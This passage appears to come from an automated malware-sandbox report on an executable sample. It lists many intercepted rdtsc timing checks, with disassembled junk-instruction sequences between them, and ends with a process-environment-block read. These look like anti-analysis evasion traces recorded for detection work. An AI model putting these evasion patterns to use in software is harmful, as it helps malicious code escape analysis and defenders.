Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1779BF7 second address: 1779BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1779BFB second address: 1779C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B341h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e ja 00007F3FC515B336h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3FC515B33Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1779C2B second address: 1779C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1780D23 second address: 1780D32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007F3FC515B336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1780D32 second address: 1780D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1780D38 second address: 1780D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1782288 second address: 178228C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178228C second address: 178229A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178229A second address: 17822BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F3FC4805AC6h 0x0000000f jnc 00007F3FC4805AC6h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178550A second address: 1785518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3FC515B336h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1785518 second address: 178553C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805AD8h 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178553C second address: 1785540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1785540 second address: 1785544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1785801 second address: 1785805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1785805 second address: 178580D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178580D second address: 1785812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1785AFD second address: 1785B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3FC4805AC6h 0x0000000a popad 0x0000000b popad 0x0000000c jo 00007F3FC4805AF0h 0x00000012 pushad 0x00000013 jnc 00007F3FC4805AC6h 0x00000019 jmp 00007F3FC4805AD4h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1785F85 second address: 1785F8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178F5F6 second address: 178F5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178E187 second address: 178E18C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178E309 second address: 178E320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805ACFh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178E5A2 second address: 178E5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F3FC515B33Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178E5B4 second address: 178E5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805AD9h 0x00000009 jmp 00007F3FC4805ACDh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F3FC4805AC6h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178E5EB second address: 178E608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B347h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178E608 second address: 178E60D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178F44C second address: 178F480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3FC515B336h 0x0000000a pop ebx 0x0000000b push esi 0x0000000c js 00007F3FC515B336h 0x00000012 jnc 00007F3FC515B336h 0x00000018 pop esi 0x00000019 push edi 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F3FC515B343h 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178F480 second address: 178F484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 178D313 second address: 178D319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1796225 second address: 179622D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 179622D second address: 1796232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1796232 second address: 179623E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F3FC4805AC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17963AD second address: 17963B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17963B7 second address: 17963BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A37A9 second address: 17A37AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A37AF second address: 17A37B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A7F2F second address: 17A7F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A7F34 second address: 17A7F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A7AFD second address: 17A7B34 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F3FC515B348h 0x00000010 jp 00007F3FC515B348h 0x00000016 jmp 00007F3FC515B33Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A7B34 second address: 17A7B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3FC4805AD8h 0x0000000b jmp 00007F3FC4805ACFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A7B61 second address: 17A7B6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F3FC515B348h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A9545 second address: 17A9556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F3FC4805AC6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A9556 second address: 17A955A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A955A second address: 17A9560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17A9560 second address: 17A9566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17B0F8C second address: 17B0F92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17B2596 second address: 17B259A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB114 second address: 17BB118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB118 second address: 17BB122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB122 second address: 17BB126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB126 second address: 17BB147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3FC515B33Eh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB147 second address: 17BB14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB14B second address: 17BB151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB151 second address: 17BB159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB159 second address: 17BB178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B347h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17BB178 second address: 17BB17E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C29C3 second address: 17C29D3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3FC515B336h 0x00000008 jng 00007F3FC515B336h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C122E second address: 17C1234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C1234 second address: 17C1242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3FC515B336h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C1242 second address: 17C1249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C1249 second address: 17C124F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C1686 second address: 17C168C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17C168C second address: 17C16A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F3FC515B336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F3FC515B336h 0x00000014 jo 00007F3FC515B336h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1800937 second address: 1800983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805AD1h 0x00000009 jc 00007F3FC4805ADEh 0x0000000f jmp 00007F3FC4805AD6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 push edx 0x00000018 jmp 00007F3FC4805AD0h 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push edx 0x00000021 pop edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1807DDD second address: 1807DE7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 180A64B second address: 180A651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 180A651 second address: 180A657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1819FE6 second address: 1819FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3FC4805AC6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 181B75C second address: 181B761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DF163 second address: 18DF16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DF16A second address: 18DF175 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DF175 second address: 18DF196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3FC4805AC6h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F3FC4805AC6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push ebx 0x0000001b pushad 0x0000001c popad 0x0000001d pop ebx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DF196 second address: 18DF1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F3FC515B336h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DF5D2 second address: 18DF5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 jo 00007F3FC4805AF8h 0x0000000c ja 00007F3FC4805AD2h 0x00000012 jmp 00007F3FC4805ACCh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFA83 second address: 18DFA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jng 00007F3FC515B336h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFA96 second address: 18DFAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F3FC4805AC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFD56 second address: 18DFD62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3FC515B336h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFED9 second address: 18DFEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805AD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFEF5 second address: 18DFF01 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFF01 second address: 18DFF1E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F3FC4805AD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18DFF1E second address: 18DFF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E181C second address: 18E1825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E1825 second address: 18E187D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3FC515B346h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F3FC515B348h 0x00000015 jmp 00007F3FC515B348h 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E187D second address: 18E1888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3FC4805AC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E9359 second address: 18E935E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E935E second address: 18E9369 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F3FC4805AC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E9369 second address: 18E9372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 18E9372 second address: 18E9376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890011 second address: 7890017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890017 second address: 789001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789001B second address: 7890066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F3FC515B344h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F3FC515B340h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3FC515B347h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890066 second address: 78900B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, D69Ah 0x00000007 pushfd 0x00000008 jmp 00007F3FC4805ACBh 0x0000000d add cx, B83Eh 0x00000012 jmp 00007F3FC4805AD9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr fs:[00000030h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F3FC4805ACDh 0x00000028 rdtsc
